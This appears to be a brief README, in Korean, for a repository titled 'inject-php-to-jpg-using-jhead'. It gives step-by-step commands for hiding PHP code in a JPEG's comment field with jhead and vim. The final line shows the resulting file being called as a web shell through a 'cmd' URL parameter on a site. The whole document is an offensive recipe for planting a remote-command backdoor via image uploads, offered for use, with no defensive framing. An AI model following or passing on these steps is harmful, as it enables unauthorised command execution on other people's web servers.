jenderal92/inject-php-to-jpg-using-jhead
$ pkg install vim or apt-get install vim
$ pkg install jhead or apt-get install jhead
$ jhead -h (도움말 보기)
$ jhead -purejpg yourfiles.jpg
$ jhead -ce yourfiles.jpg
ESC를 누른 후 :x를 입력하여 저장하세요
$ jhead yourfiles.jpg
예시 : site.com/youfiles.php?cmd=Command Here
